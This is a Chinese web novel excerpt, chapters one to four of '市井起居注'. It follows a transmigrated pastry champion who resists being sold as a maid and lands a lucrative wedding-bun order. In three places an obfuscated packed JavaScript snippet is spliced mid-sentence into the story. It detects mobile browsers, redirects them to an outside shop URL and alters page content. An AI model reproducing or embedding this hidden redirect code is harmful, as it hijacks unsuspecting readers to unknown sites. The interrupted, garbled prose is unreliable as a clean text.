《市井起居注》 1. 第一章 恢复记忆 山东羊承府有阳城县,濒渤海之隈,踞河朔之胜,享鱼盐之利,甲于齐东。 四时之气,氤氲相续,春无淫风,夏无酷暑,秋则霜叶染山,冬则温晴照野。城内街巷纵横,多是些青砖黑瓦屋子,屋舍俨然。户户门前种柳,泼洒浓阴。 此时正是六月天气,昨日刚见雨水,巷内青阶尚湿,斑驳有趣。 城内有一金鱼巷子,临街是一馒头铺,胡记字号。胡记馒头铺在此间开了四年,因物美价廉,也颇有些名气。现下将将卯时,东方才泛青白,他家已然升起炊烟。 早起挑水的汉子赤脚走在青石板上,留下一串湿漉漉的脚印,正是胡家的大儿子胡佑。 馒头铺每日使水多,晚上挑满了大缸,早起还得挑一次才够用。 等肩头上满压了水回家,除她妹子胡裪躲在屋里,娘和媳妇俱在作坊内揉面。 也难怪她没脸见人,实是胡裪作孽,昨日提着菜刀立在厨房门口,死活不肯去吴员外家为婢。 可她不去吴员外家做工,这一家子便没着落了。 说起来,胡家本不是县城里的人家,祖上三代原都在乡下种地。 到了胡有福这辈,分家不公,种地吃不饱肚子,便学了门走街串巷卖馒头的手艺。起初挑着担子,筐里搁着自家蒸的杂合面馒头沿村叫卖,后来学做花饽饽。就这么着干了十几年,竟也攒下些银钱。 四年前胡有福咬了咬牙,卖地卖屋,又向账局借了一百两,盘下金鱼巷子临街的铺面,前头开店,后头住人,总算在县城里有了个立足之地。 讲定的借期五年,每年利息十两,一年一还。四年里,一家子起早贪黑,省吃俭用,眼见着明年要清了账,谁知天有不测风云,四月时胡有福得了一场大病,抓药请大夫,把今年攒下的近二十两银子花得干干净净。 腊月初还账,还不到半年,他们如何能变出三十两银子!若是还不上,只怕要收铺子抵债。 胡有福在床上养了两个月病,想不出别的法子,只能卖女。 那吴员外家是阳城县的大户,乐善好施,待下人也宽厚,从不轻易打骂。他家正巧要添几个丫鬟,胡佑去送馒头的时候探知,回来告诉了老爹。 胡有福跟媳妇王翠一合计,女儿胡裪年方十六,生得眉清目秀,十里八乡也算得出挑的人物,定然能叫吴家选中,解燃眉之急。再者,倘若吴家少爷老爷看中了女儿,抬举做姨娘,那也是她的造化,不仅省下嫁妆,连带着娘家也能沾光。 思来想去,竟是一个再好不过的去处。 两口子把这意思跟姑娘说了,原以为她纵然不舍,也只好依从。谁知胡裪听后转身进厨房提了菜刀出来,往门口一站,硬邦邦道:“谁要卖我,我直接死这儿。” 眼神冷森森,把一屋子人都镇住了。 胡有福气得浑身发抖,抄起扁担要打,却被王翠死死拉住——女儿手里有刀,真闹起来,伤了谁都不好。 就这么僵持了半个时辰,到底是胡有福先服软,胡裪才放下刀回自己屋,到如今也没出来。 胡裪躺在自己屋里,耳听得外头悄无声息,倒觉着清净。昨日那一闹,她心里明白,爹娘一时半会儿不会再来逼她,可这僵局迟早要破。她翻了个身,望着窗棂间透进来的日光,怔怔出神。 有些事也是昨日才想明白的。 她本不是这个时代的人。 前世的名字也叫胡裪,是国际翻糖大赛的冠军,那一日她在湖边看水,忽见一个孩子落水,想也没想跳下去救。孩子被推上了岸,她自己却被卷入漩涡,再睁眼时,已成了胡家的女儿,襁褓中的婴孩。 一十六年,她浑浑噩噩地过着,只当自己本就是这里的人。直到昨日被爹娘要卖自己为奴的消息刺激到,前世的记忆才如开闸的洪水般涌了回来。翻糖、比赛、鲜花、掌声,还有那冰冷的河水,全都清清楚楚地印在脑子里。 她这才明白,自己是穿过来的。大盛王朝不过是一本书里的世界,是公主驸马虐恋情深的舞台,她连个配角都算不上,名字也没出现过,纯粹的世界背景板。可既然醒了过来,就不能再糊里糊涂地过活。 卖身为奴?想都别想。签了卖身契便是主家的物件,打骂发卖全由着人家。纵使吴家仁厚,到底是火坑,跳进去便由不得自己了。她前世是自由自在的人,凭着一双手走遍天下也不怕,这一世怎肯把性命交到别人手里? 但一家子的生计全在这铺子上,问题总得想法子解决。若还不上债铺子被收走,一时半会儿连地也种不上。爹娘只怕会下定决心要把她卖了换钱,届时人牙子来抓人,三五个大汉自己也挣不过。 胡裪坐起身,把小炕前匣子里的铜板又数了一遍,二两三钱四十六文,这是她十六年攒下的全部体己,这点钱,连利息的四分之一都不够。 她揉着眉心,细细盘算起来。 胡记馒头铺,卖的是寻常馒头与花饽饽。花饽饽虽比馒头利润厚些,忙活几天也就赚个一二两,又不经常做,平日还是靠卖馒头赚辛苦钱。 娘的手艺,她这些年已经学了完全,可胡祹心里清楚,自己真正会的不是这些。 翻糖,那才是她的本事。 用糖塑造出人物、花卉、楼阁,栩栩如生,美轮美奂。前世她做的翻糖作品,能卖到十几万。可在这大盛朝哪儿有翻糖的材料?寻常人家吃的糖,不过是麦芽糖、饴糖,颜色发黄,甜味也淡,要做翻糖得有精制的白糖,还得有各种食用色素、工具,这些上哪弄去? 她蹙着眉,在屋里转了两圈,忽然想起阳城县靠海,海运便利,南货时有可见。似乎听隔壁婶子说过县西有卖南方货物的铺子,白糖、香料都能买到,只是价钱昂贵,现在家中正缺钱,怎么能买那些东西? 还有什么办法…… 对了,花饽饽! 一个朝代有一个朝代的风气,盛朝对男女婚嫁的重视程度非前朝可比,儿女亲事一向是豪族斗富的重要场合。本地有旧俗,凡节日庆典与婚丧嫁娶,定要置办一桌饽饽,这也是富豪们攀比的重要内容。 谁家的饽饽做的大,谁家的饽饽做的精巧,都得好好说道说道。 其中龙凤呈祥、 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17345091|199507||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 喜上眉梢都是最常见的花样。若她能弄些新花样,把花饽饽造得如现代花饽饽一般细致,在这县城之中绝对是独一份的。 再者她前世虽是个玩糖的,可翻糖和面团,说到底都是可塑的材料,只是质地、口感不同罢了。若用发面做坯塑形,未必不能弄出来新奇东西。 这念头一闪,胡裪心里便热了起来。 正想着,外头忽然传来一阵脚步声,接着是嫂子陈喜妹的嗓音,压得低低的,却掩不住那股子尖刻:“……她倒沉得住气!一家子都快喝西北风了,她还挺尸呢!” 胡裪心里有了计较,便不再慌乱,眼下最要紧的是先逼爹娘一把,叫他们彻底打消卖自己的念头。至于那账局的债,还有爹的病,都得一步步来。 窗外传来揉面的声响,沉闷而单调,胡裪理了理衣裳推开门,往后院的水缸走去。她得先吃饱了,才有力气想以后的事。 见她出来,方才嚼舌根的嫂子一愣,面上讪讪,后立刻挺直了腰板,只因自己说的也没什么错处。 陈喜妹嘴角一哂:“大小姐出来了,大小姐可歇好了?若是没歇好赶快回去躺着,横竖我们这些人也死不了,只是到了年底就难说了。” 胡裪不理,自去打了一瓢水,穿过天井,径直走进前头铺子,当着几个买馒头的客人的面,伸手抓起肉馒头就往嘴里送。 那肉馒头比拳头还大一圈,馅却少些,胡裪四口一个,连吞了两个,举起水瓢“咕咚咕咚”灌几口水,一抹嘴,在弟弟胡祥见了鬼似的眼神中,转身回到后院。 一大家子都被她这古怪行径弄糊涂了。哥哥胡佑皱了皱眉,骂道:“阿荞,你要反不成!见了爹娘竟不知问好?晌午也不出来吃饭。我告诉你,没人给你留饭,过了饭点就饿着罢,便是饿死了也活该!” 谁知那个素来唯唯诺诺的妹子竟理也不理,径直往作坊去了。 也难为她还有两分良心,还知道起来帮着做工。 晚上赶着驴子拉磨,收拾蒸馒头的家什,胡裪也帮着干活,可胡有福心里就是不得劲,满肚子怨气。 等着人停驴歇,一家人熄灯入睡,胡有福忍不住叹气:“跟她那个姐姐一样,都是讨债的,早知道也就溺死了。” 背对着丈夫的王翠身子一僵,黑暗中睁大了眼,嘴唇动了动,却发不出声。她还记得呢,十八年前自己刚生完孩子,瘫在炕上不能动。稳婆才说是个女娃,孩子就被男人抱了出去,再也没抱回来。她那时装聋作哑,只当不问,那娃娃便还活着。今日才明白,这些年自己有多傻。 胡有福却像是打开了话匣子,闷声道:“当年那个一落地我就知道留不得,咱们家才攒了几个钱?你还得帮着我做馒头,实在是没功夫照料,一个丫头片子,舍了就舍了。谁承想不忍落留下阿荞,竟是个孽障!” 王翠咬着唇,把涌到嗓子眼的呜咽硬生生咽了回去。 胡有福又叹了一声。算了,便是小猫小狗养了十六年还舍不得呢,过几日去账局问问,倘若能宽限一年半载那是再好不过,若不账局不许,可不能错过吴家这次机会。 2. 第二章 定饽饽 因馒头铺的客人多是扛大包的脚夫,周围店铺的伙计和邻里街坊,赚不着几个钱。七月又是恶月,禁婚嫁,也没人定饽饽,胡裪的打算落得一场空。 过了几日,她仍是寅正时分苏醒。篦了头,将小炕收拾齐整,把掉落的头发捻起来扔进篓里,胡裪便出去洗漱,帮着娘亲、嫂嫂做馒头。 这两个人仍不理她,大哥和爹爹也急着去吴员外、崔举人家送馒头,挑着担子急匆匆离去。 吴员外、崔举人家大业大,光粗使佣人吃得杂合面馒头就得耗去二百个。胡家的馒头大,一文一个,供应这两家,一日能净赚一钱。虽不如做花饽饽赚得多,却是笔地久天长的稳当收入,胡家父子都极放在心上,一分一秒也不耽搁。 胡裪乐得自在,还悄悄耍了个懒,用发好的面搓出来一朵小梅花,适应一番面的手感,又赶紧把罪证揉到面里,老老实实做馒头。 等着又蒸出来一批杂合面馒头并卖给稍富裕人家的白面馒头、肉馒头和豆沙馒头,胡裪将笸箩都收拾出来,分门别类地往里拾,苫上白笼布,一趟趟搬到前头铺里。 铺面是前店后坊的格局。门面朝南,最北边是住人的屋子。东厢挨着厨房、茅房,胡佑两口子住在里边。西厢胡裪一间,胡祥带着胡思齐住一间。正屋是堂屋和爹娘的屋子。 外边天井里有两口大水缸,并那盘青石磨。嫂子陈喜妹正赶着驴子一圈一圈转,磨盘吱吱呀呀地响。天井一角还特意辟出来一块菜地,里边黄瓜正嫩,屁股上还有黄色小花未落。 再前边便是作坊——两间打通的大屋,角落里堆着面和水桶。隔壁是专门蒸馒头的屋子,盘着两眼大灶,灶火正旺。 临街一间门面便是铺子了。弟弟胡祥已经拆下门板挂上幡子开始营业。他今年十二岁,干活还欠缺些,就在外头看店卖馒头。 两人对视了一眼,谁都没功夫说话,胡裪又回去做活。 胡家人早上忙碌,也就没有吃朝食的习惯,擎等着晌午饭。到了中午,外头跑街串巷的爷俩还没回来,她们也干等着,胡裪却饿得受不了,去前头铺子拿馒头吃。 吃饭讲究荤素搭配,胡裪钻进黄瓜架,拣了根顶花带刺的嫩瓜,拧下来就着叶子胡乱擦两把,拿水冲冲就开始啃。 瓜还未长成,但已经相当脆生,清香的瓜味在嘴里蔓延,胡裪越吃越饿,脚下步子也加快。 铺子里没人,胡祥正坐在柜台后头发呆。这孩子今年才十二,瘦伶伶的,晒得黧黑,见胡裪进来,身子往柜台后头缩了缩,垂下眼皮,不敢看她。 胡裪走到大笸箩前,掀开笼布,拿个白面肉馒头咬一口,乜斜着眼瞧他:“我成吃人的了?你怕我作甚?” 胡祥嘴唇动了动,没出声。 胡裪看着他那样儿,一下子明白过来——该是爹不好朝着自己发火,拿他泄气了。 家业薄,真正的儿子只一个胡佑,馒头铺子也是给大哥同他的儿子胡思齐攒下的。胡祥算什么?多余的那个罢了。他比自己强些,也不过是年岁渐长,能多干些活,说到底,大家都是长工。 她啃着馒头,没再说话。 店里渐渐上了人,胡祥正收钱呢,忽见外头涌进来五个小子,打头那个虎头虎脑,是隔壁张屠户家的孙子,名叫张虎。一进门便嚷嚷:“阿麦!阿麦!走,打弹弓去!小狗子在河东大树上发现一窝雀儿哩!” 胡祥送走客人,眼睛亮了一亮又暗下去,摇摇头:“我得看店。” “看什么店!”张虎扒着柜台,“你爹你哥都不在,怕啥?走走走!” 胡祥还是摇头:“不去。” 张虎恼了,脸涨得通红:“胡阿麦!你咋这么怂?以后再也不带你玩了!” 胡祥也急了,梗着脖子回了一句:“不玩就不玩!以后都不跟你玩了!” 胡裪看不下去,把馒头搁在柜台上,从怀里摸出一把铜板来。她数十个给张虎,叫他分给众小伙伴,又数五个拍给胡祥:“拿着,去找货郎,一人买块糖吃。” 张虎愣住了,五个小子都愣住了,攥着铜板不知该收不该收。 胡裪朝胡祥扬了扬下巴:“想玩就去玩,我替你看店。这些饽饽的价儿我都晓得,杂合面一文一个,白面馒头两文一个,糖三角三文,豆沙包三文,肉馒头四文一个。你快去玩罢,以后有你受累的日子呢。” 胡祥咧嘴笑了一下,把铜板往怀里一揣,游鱼似的蹿了出去。五个小子呼啦啦跟着跑,外头传来张虎的大嗓门:“阿麦,你姐真好!” 这些小东西! 孩子刚走没多久,店里人骤然多了起来,多是左近街坊,挎着竹篮的妇人,系着围裙的小伙计。周围那些铺户的伙计都不回家做饭,三三两两过来买个馒头,再问胡裪讨碗水喝。 胡裪也不嫌烦,一一给他们倒水。有人闲话几句,她便应和着,大家凑在一起说话。 约莫午时末,隔壁张婶子晃悠进来。这婆子五十来岁,张虎的奶奶,是这一带出了名的包打听。老太太从绣花帕子里点数出四十文钱,搁在柜台上:“十个白面的,再拿五个肉的。”屠户家有钱,养着两个伙计,又是下力气的营生,吃得也多。 胡裪掀开另一个笸箩,给她拿馒头。 拿完张婶子却不急着走,把篮子往柜台上一放,凑近了压低嗓子:“阿荞,之前你们家吵吵啥呢?我隔着墙都听见了。”只恨他们声音不大,依稀听得是吵架罢了。 胡裪叹了口气:“还不是阿麦那小子不听话,偷跑出去耍,我爹要揍他。我给拦住了,就吵了几句。” “哟,就为这?”张婶子将信将疑。 “可不。我爹那个脾气,张婶你还不知道?” 张婶子点点头,又闲扯了几句,方去了。胡裪把钱往匣子里一收,铜板叮叮当当地响。 正热闹着,外头进来一个人。这人三十来岁年纪,头上戴着网巾,穿着一件青色直裰,料子是细葛布的,虽不是什么名贵绸缎,却浆洗得干干净净,熨得没一丝褶子。 他一进来,那几个闲汉便讪讪地散了。 胡裪打量着来人,见他也不挎个篮子,不似寻常买馒头的,便问:“客官要些什么?” 那人目光在笸箩上扫了一圈,开口道:“我姓张,我们家老爷是城北张员外。本月二十五少爷迎亲,要定些花饽饽使。”说着往里头窥探了一下,有些迟疑,“小娘子,你能做主么?” 胡裪忙道:“大哥放心,若不能做主,叫我来看店做什么?” 张管家便从袖中取出一张红帖。 胡裪接过来一看,上头开列得清清楚楚:龙凤呈祥一对、鸳鸯戏水一对、榴开百子一对、福禄双全一对、喜上眉梢一对,另加小饽饽二百四十个,预备散给宾客。 胡裪心下飞快地盘算起来。 天可怜见,竟遇到了这样的机会! 这位张员外先前必定在别家定过,如今临近迎亲忽然换店,定是上一家出了岔子。城里各家馒头铺的手艺都大同小异,不会有高下之别,必是这位老爷过于挑剔。 挑剔好啊!就怕你不挑剔! 胡祹抬起头:“客官,这五对花饽饽,都是精细活计。龙凤那对最大,得用十斤面的。其余四对,也得六斤面一对。加上小饽饽,统共得用百来斤精白面,还得用上等蜂蜜、香油、红曲、姜黄、栀子这些调色。手工钱就更不必说了,一个花样便是一个功夫。” “这些都在其次。敢问大哥是要寻常的,还是不寻常的?”她说着,称呼已亲热起 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17345092|199507||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 来。 张管家来了兴致:“怎么,花饽饽还分寻常不寻常?” 胡裪笑了一笑:“客官,不是我自夸。若您只愿出寻常的价钱,我们家便给寻常做法。一对龙凤饽饽五钱银子,其他每对三钱,共一两七钱。小饽饽十文一个,二百四十个便是二两四钱。两项加在一块儿,四两一钱。” 张管家点点头:“这倒是公道价钱。那我倒要问问,不寻常的是什么价?” 上钩了! 胡裪道:“一对龙凤饽饽要二两,其他四对,一对要一两二钱,小饽饽四十文一个,统共十六两四钱!” 张管家吃了一惊:“你这里头掺金子了?一堆面要十六两?” 胡裪不慌不忙道:“大哥这话就外道了。咱们做花饽饽的,卖的是手艺!” “我们这上等的龙凤呈祥,龙鳞得一片片压出来,凤羽要一丝丝剪出来,光这一对,没三四天工夫下不来。鸳鸯戏水要成双成对,配上荷花荷叶,那荷叶得用菜汁染绿。榴开百子要裂出红籽,石榴籽儿得一颗颗搓,最是费工。福禄双全要配上蝙蝠和鹿,喜上眉梢要有喜鹊登梅,都得活灵活现。” “这些活计,光是揉面、发面、捏塑、彩绘,就得大半个月。小饽饽二百四十个虽则寻常,也得一个个做得匀称了。这哪一项不费功夫?” “哦?你们还能捏出龙鳞凤羽来?”管家忙问。 胡裪猜得不错,那张员外果然挑剔得很,总觉得这些面团子粗糙,配不上儿子娶妇,搁在一堆金银玉器里,着实掉价。如今婚嫁又讲究排场,他如何丢得起这个脸?换了一家又一家,管家也挨了不少骂。 胡裪胸有成竹:“您只管放心,保准栩栩如生。若能送来金箔,我给您塑条金龙出来!” 管家沉吟道:“这可得跟老爷商量商量。”说着,眼睛微微一眯,“小娘子,我可把话说在前头,要是你骗人,你们家这店也不用开了。” 这便是成了! 胡裪信誓旦旦:“若是搞砸了,不用老爷们赶,我们立刻卷铺盖走人!”说着搓了搓手,“大哥,那咱们就十六两四钱,成交?” 那人听着,却摇了摇头。 胡裪心里一沉,只当他还要讲价,忙道:“大哥,我们这儿概不讲价的。这样的大喜事,讲价也不吉利不是?” 管家又摇了摇头,嘴角却微微翘了起来。 胡裪一怔,忽然间明白了什么。 她悄悄竖起两根指头,比了个“二”。 那人还是摇头。 她又比了个“三”。 那人终于点了点头,脸上露出笑意。 胡裪心里有了数,把那张红帖往柜台上一按,正色道:“客官,我方才又细想了想,这花饽饽的活计,实在是有些难处。六月十三祭龙王,王家村搭祭台用我们家饽饽,你突然给个单子,多少是劳累了些,得加钱。” “哦?加多少?” “加三两。” 那人听了,不怒反笑,从袖子里摸出一锭银子,拍在柜台上,足有五两:“这是定钱。余下的,取货时一并结清。” 胡裪拿起银子,用小银戥子称了称,又仔细看了看成色。银锭底下有官炉的戳记,成色足。 她将银锭放进匣子,铺开纸写了一张定单,一式两份。上头写明:龙凤呈祥一对、鸳鸯戏水一对、榴开百子一对、福禄双全一对、喜上眉梢一对,小饽饽二百四十个,总价十九两四钱,定钱五两,本月二十五取货。写完,吹干了墨,递给管家一份。 管家接过来,折好,揣进怀里,转身欲走。胡裪忽压低声音道:“往后还要大哥多照顾我们生意,这些事儿都好说。” 张管家愣了一愣,随即哈哈大笑,拱了拱手,转身去了。 3. 第三章 弟弟胡祥 张管家去后,铺子里便清静下来。胡裪将那张定单又细细看了一遍,收在袖里。 她斜倚着柜台,手指有一搭没一搭地叩着台面,心思翻腾。 为了把自己留在家中,胡祹必须逼他们明白,这个家少了谁都能转,唯独少了她胡裪,有些活儿谁也顶不上来。 倒不是她托大,实是这满县城的饽饽师傅,有一个算一个,她还真不曾放在眼里。 胡裪是见过世面的人。前世是国际翻糖大赛的冠军,玩翻糖玩了十几年。为了练手艺,不知用坏了多少套工具,翻烂了多少本绘画与雕塑的书籍。人体结构、肌肉走向、衣纹折叠、光影渐变,这些东西早已刻进骨头里,想忘都忘不掉。 而如今,这盛朝的花饽饽师傅比起她来,还是差亿点的。 就拿自家饽饽来说罢,龙便是一根粗面上剪些密密匝匝的刺,凤便是一团面上插几片羽毛片子,颜色是死板板的红黄绿,只能说够喜气。 细究起来,缘故有二。 一则师傅怎么教,徒弟便怎么做,一代一代传下来,跟刻模子似的,几十年不带变个样儿。什么造型比例,什么光影过渡,没人想过。 二则工具也简陋得可怜,剪子、刀子、梳子,再加上一支笔,配上自制的颜料,便是全部家当。至于绘画与雕塑的技法,更是八竿子打不着。 上色就更不必提了,胡裪见过那些所谓的“彩绘饽饽”,颜色平铺直叙,没有浓淡,没有过渡,跟孩童涂鸦不相上下。她前世见过的饽饽师傅,因有了新型工具的加持,又融汇了绘画与雕塑的功夫,已然能做出不输翻糖的作品了,只是限于面团本身的特性,做不出太薄太透的物事罢了。 胡裪有十足的把握,哪怕眼前的条件比不上前世,糖换成了面,色素换成了菜汁儿,可手上的功夫是实打实的,心内并不慌。 张员外这单生意,看着是冒险,实则是她的梯子。 想那张员外再不济,既在城里做着员外,能花将近二十两银子定饽饽,哪还能没有乡绅豪族往还宴饮?届时,她的花饽饽就摆在那里,想看不着都难。 如今中等人家嫁女娶妻不易,可对富豪来说,却正是斗富炫耀的好时机。张员外的儿子成亲有这样的饽饽,我闺女的喜事也必不能差了去! 若是成了,往后这县城里的大户人家,谁家办喜事不得想着她胡记饽饽?到那时候,银子自会源源不断地滚进来,挡都挡不住,这一关就算过去了。 胡裪正盘算着,铺子外头忽然一阵小儿的喧哗笑闹声。 “阿荞姐!阿荞姐!” 胡祥一溜烟跑进来,黑黢黢的脸上满是汗珠子,跑得太急,险些在门槛处绊一跤,身子往前一栽,又踉跄着站稳了,手里高高举着个什么物事。 “姐!”他奔到柜台前,喘着粗气把手一抬——原是只剥光洗净烤得焦黄的家雀儿,“姐,给你吃!” 胡裪一愣。 胡祥咽了口唾沫,兴奋得语无伦次:“我们打的!张虎的弹弓准得很,一弹子就把它打下来了。我们在河边拔了毛,捡了干柴烤的,可香了!小狗子说多烤一会儿,皮儿脆,我们就多烤了一会儿……”他说着,又咽了口唾沫,“我吃了一只,可好吃了,这只给姐留的!” 小孩子家还有些黏人,挨到他姐跟前,把烤家雀直送到人家嘴边。胡裪本不想“消受”这份美味,但阿麦如此热络,倒不好拂了他的意。 那家雀儿只有人指般长短,已经烤到分不清头尾,焦皮上冒出来油花,焦香四溢。 胡祹送入口中,比味觉更快的是嗅觉,她先闻到一股子呛鼻烟火气。然后是口感,鸟皮已是焦酥,牙齿才合就有脆皮簌簌地碎在舌尖,被一股子热蓬蓬的油脂香气烘着滚下喉。再往下咬便见了肉,小鸟很瘦,肉只有薄薄的一层,因这群孩子也没带盐,所以只尝到本味,口感干柴味道却极鲜。 最妙的是骨头,鸟骨头本来就细,又被火烤过,嚼在嘴里嘎吱吱响,颇有些趣味。忽然牙齿咬破家雀儿脑壳,胡裪先是一吓,便尝到油润柔软的鸟脑子爆出鲜香汁水,在味蕾上留下醇厚的滋味。 软的、韧的混着焦脆的,一只小鸟提供了极为丰富的口感,在嘴中混合,留下绝妙的味道。 胡祹享受地吃完,就见胡祥一副馋相,半张着嘴,嘴角溢出一丝亮晶晶的涎水。 胡裪噗嗤一笑,胡祥手忙脚乱去擦,越发惹得姐姐哈哈大笑。这小男孩儿如今已知道爱面子了,气道:“阿姐阿姐,你别笑了!你再笑,我再也不给你带烤家雀了!” 多稀罕呀! 胡裪却没说出来,只转身从笸箩里拿了个肉馒头递过去:“快填填肚子罢,我真怕你的涎水流成河,再把我也淹了。” “真讨厌!”胡祥恼道,手却乖乖地伸过来接。可低头一看是个肉馒头,一哆嗦又把手缩了回去,嗫嚅道:“姐,你放回去罢,我吃个杂合面馒头就成。” “怎么啦?你怕什么?” 胡祥哼唧着,鸡爪一样伶仃的手指头绞在一起:“前边铺子里有多少馒头,爹都有数的。要是钱和数对不上,爹准打我。”说起钱,胡祥把五个铜板掏了出来,“姐,往后别给我钱了,我不喜欢吃糖。” 穷死鬼托生的抠种!胡裪听了气得牙根发痒,孩子能吃多少?能把个馒头铺吃垮了不成? 胡裪一把抓过铜钱扔回匣子里,发出叮叮当当的脆响,又往里添了一把:“吃!短多少铜板我给他补上。自个儿开着饽饽店,倒闹得儿子吃不上馒头了,说出去也不怕人笑话!” 胡祥愣愣地看着钱匣子,又看看胡裪,眼眶忽然红了。他低下头,大口大口地啃起肉馒头来,腮帮子鼓得老高,嚼都嚼不及。 胡裪看着他吃,起初只是看着,后来便有些心惊。怪道人家说“半大小子 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17345093|199507||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,吃死老子”,这肉馒头比包子还大,实打实的白面,阿麦眼瞅着吃到第四个了。胡祥吃完第四个,又端起瓢咕咚咕咚灌了半瓢凉水,这才长出一口气,摸着肚子,脸上露出餍足的神情。 “吃饱了?”胡裪问。 胡祥点点头,有些不好意思地咧嘴笑了,露出一排不太齐整的牙齿。 胡裪也跟着一乐,看着这傻笑的弟弟,她心里忽然起了些别的念头。 这孩子晓得感恩。一只烤雀儿,自己舍不得吃,巴巴地跑回来给她,一口一个姐,叫得亲亲热热。往后她若真能靠手艺挣下些家当,好生养着这孩子,未必不能成个依靠。 胡裪是个凡事爱往远处想的人。前世做翻糖,一个作品要规划好几个月,从图纸到成品,每一步都得想到前头去。这辈子摊上这么个家,更不能过一日算一日。 上行下效,皇家重子嗣嫁娶,民间婚嫁奢靡之风盛行,与那明清一般无二。因嫁女而荡产、缘娶妇而倾家者不计其数,女儿便成了赔钱货,民间多有溺女婴之举,屡禁不止。为了节省这笔嫁妆,爹娘也不可能为她相看,也正好,胡祹不愿嫁人。 只是胡有福与王翠为人父母,尚有三分爱女之心,等着爹娘老去,胡佑当家之时,日子可就不知会怎么样了。 她暗暗盘算,爹娘如今四十多岁,再活十几年,也快六十了。到那时候,胡祥二十六七岁,男孩儿大了留不住,这个家迟早得分。胡佑是长子,自然要承家业,可分家的时候,她这个“吃白饭”的姑奶奶往哪里去? 最好的出路,就是跟着胡祥过。 一来,长幼有序,尊卑有别。她是姐,胡祥是弟,她给这孩子花了钱、出了力,胡祥要是敢对不起他,报官都能治他一治。二来,胡祥跟胡佑不一样,这孩子心善,知道好歹,如今瞧着,不是那等狼心狗肺的东西。 胡裪想着,目光落在胡祥身上。阿麦正趴在柜台上,百无聊赖地看外头的街景,瘦伶伶的背影,肩胛骨支棱着,把衣裳撑起两个尖尖的小包。 送他去读书? 胡裪心里忽然冒出这个念头。 随即又觉得可笑,笔墨纸砚、束脩人情,哪一项不得花钱?自己现下统共只有二两银子,够做什么的? 可读书的好处,她比谁都清楚。胡祥若是能认得几个字,会写会算,往后就算考不上功名,也能去铺子里做账房先生,总比困在这饽饽店里起五更爬半夜强。若是运气好,真读出个名堂来呢?那就是改换门庭的事了。到那时候,她这个姐姐还愁没有依靠。 她正思量着,胡有福和胡佑回来了。 胡有福挑着空挑子,肩膀往一边斜着,显是累得狠了。胡佑跟在后面,脸拉得老长,一进门看见胡裪在铺子里坐着,朝地上啐了一口:“呸!” 胡有福也没言语,拿眼皮把闺女一夹,两个人一前一后从铺子穿过去,径直进了后院。 4. 第四章 两个条件 他俩回来了。 胡裪听见后边挑子落地的声音,将五两定钱在手里掂了掂,扭头吩咐胡祥:“阿麦,好好看店,饿了就随便吃,吃多少姐给你补上。”说完,把银子往袖子里一塞,往后头天井走去。 日头还毒,晒得人身上发烫。王翠正弯着腰摆饭,破木桌上搁了一只粗瓷碗,里头是清炒黄瓜,寡淡得不见油星儿,一盆苞米糊涂汤搁在桌子正当中,厚得挂勺子。此外是一大盆杂合面馒头,堆得冒了尖。 胡有福坐在桌边,耷拉着脑袋,肩膀往下塌着,一声不吭。胡佑站在水缸旁边,正捧着瓢喝水,喝完了随手往地上一泼,水渍溅起来,洇湿了胡裪的鞋面。 胡裪低头看了看鞋,没恼。脸上堆起笑,走到桌边往那儿一站:“爹,今儿个我给你赚了大钱。” 胡佑把瓢往缸里一扔,嗤笑一声:“放屁!你能赚什么钱?不赔钱就烧高香了!” 胡裪没理他,从袖子里摸出那锭银子往桌上一放,“咚”的一声。 胡佑的嗤笑卡在嗓子眼里,变成了一声怪响。他身子往前一探,两只手撑在桌沿上,眼珠子盯着那锭银子,都不会转了。王翠手里的筷子“啪嗒”掉在地上,就那么张着嘴发愣。 胡有福慢慢抬起头,他看看银子,又看看胡裪,脸上的肌肉抽了抽,说不清是惊还是怕。 胡裪又从袖子里掏出那张定单,摊开,压在银子旁边:“今儿个城北张员外家的管家来了,定的花饽饽。本月二十五张少爷娶亲,要五对大饽饽,再加二百四十个小饽饽,统共十六两四钱。这是五两定钱。” “十六两……四钱?” 胡佑的声音都变了调,像是被人掐住了脖子的鸡。他一把抓起那张定单,凑到眼前,眼珠子在上面来回扫,嘴唇跟着念叨,念叨完了又抬头看胡裪,再看那锭银子,再看定单,来来回回好几趟。 “等会儿,这应该是十九两四钱吧?”胡佑认识的字不多,但做买卖的哪能不识数?一二三四五他还是认识的。 胡裪没理他,只看着胡有福:“我跟张管家打了包票,咱家的饽饽是整个大盛朝也找不出来的,和其他饽饽店的比就是一个天上一个地下。要是做不好,咱家这饽饽店就不用开了。” 